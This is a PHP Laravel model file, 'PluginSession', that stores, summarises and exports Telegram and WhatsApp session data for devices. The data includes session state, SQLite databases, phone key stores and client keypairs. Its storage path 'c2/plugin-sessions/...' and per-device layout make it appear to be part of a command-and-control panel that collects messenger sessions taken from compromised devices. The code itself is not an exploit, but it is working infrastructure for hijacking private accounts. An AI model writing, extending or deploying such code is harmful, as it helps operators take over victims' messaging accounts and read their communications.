Files
2026-08-31 02:45:24 +08:00

238 lines
7.5 KiB
PHP

<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Support\Facades\Storage;
class PluginSession extends Model
{
public const KIND_TELEGRAM = 1;
public const KIND_WHATSAPP = 2;
public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
{
$dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
$safe = $accountId !== null && $accountId !== ''
? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
: 'unknown';
return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
}
public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
{
return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
}
/**
* @param array<string, mixed> $blob
* @return array<string, mixed>
*/
public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
{
if ((int) $kind === self::KIND_TELEGRAM) {
return [
'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
'payload_path' => $path,
'payload_bytes' => $bytes,
];
}
return [
'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
'payload_path' => $path,
'payload_bytes' => $bytes,
];
}
/**
* @param array<string, mixed> $blob
* @return array<string, mixed>
*/
public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
{
return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
}
private static function scalarOrNull(mixed $value): ?string
{
if (is_string($value) || is_int($value) || is_float($value)) {
$value = trim((string) $value);
return $value !== '' ? $value : null;
}
return null;
}
protected $fillable = [
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
];
protected function casts(): array
{
return [
'kind' => 'integer',
'payload' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function kindLabel(): string
{
return match ($this->kind) {
self::KIND_TELEGRAM => 'Telegram',
self::KIND_WHATSAPP => 'WhatsApp',
default => (string) $this->kind,
};
}
public function isTelegram(): bool
{
return (int) $this->kind === self::KIND_TELEGRAM;
}
public function isWhatsApp(): bool
{
return (int) $this->kind === self::KIND_WHATSAPP;
}
/**
* Compact fields for the collection list (omit large blobs).
*
* @return array<string, mixed>
*/
public function listSummary(): array
{
$payload = is_array($this->payload) ? $this->payload : [];
if ($this->isWhatsApp()) {
return [
'account_id' => $this->account_id ?: '',
'phone' => $this->phone ?: '',
'nickname' => $this->scalarFromPayload($payload, ['nickname']),
'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
'has_keystore' => (bool) ($payload['has_keystore']
?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
];
}
return [
'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
'has_state' => (bool) ($payload['has_state']
?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
'has_db' => (bool) ($payload['has_db']
?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
];
}
/**
* Full session blob from the on-disk file, or the JSON column if no file.
*
* @return array<string, mixed>
*/
public function fullPayload(): array
{
$payload = is_array($this->payload) ? $this->payload : [];
$path = $payload['payload_path'] ?? null;
if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
if (is_array($decoded)) {
return $decoded;
}
}
return $payload;
}
public function payloadPath(): ?string
{
$path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;
return is_string($path) && $path !== '' ? $path : null;
}
public function downloadFilename(): string
{
$label = $this->isWhatsApp() ? 'ws' : 'tg';
$device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
$account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';
return $label.'-'.$device.'-'.$account.'.json';
}
public function displayPayload(): array
{
$payload = $this->fullPayload();
if ($this->isTelegram()) {
return $payload;
}
return $this->truncatePayload($payload);
}
/**
* @param array<string, mixed> $payload
*/
private function scalarFromPayload(array $payload, array $keys): string
{
foreach ($keys as $key) {
$value = $payload[$key] ?? null;
if (is_int($value) || is_float($value)) {
return (string) $value;
}
if (is_string($value) && trim($value) !== '') {
return trim($value);
}
}
return '';
}
/**
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
private function truncatePayload(array $payload, int $max = 240): array
{
$out = [];
foreach ($payload as $key => $value) {
if (is_array($value)) {
$encoded = json_encode($value);
if (is_string($encoded) && strlen($encoded) > 1500) {
$out[$key] = [
'_omitted' => true,
'items' => count($value),
'bytes' => strlen($encoded),
];
continue;
}
$out[$key] = $this->truncatePayload($value, $max);
continue;
}
if (! is_string($value)) {
$out[$key] = $value;
continue;
}
if (strlen($value) > $max) {
$out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
continue;
}
$out[$key] = $value;
}
return $out;
}
}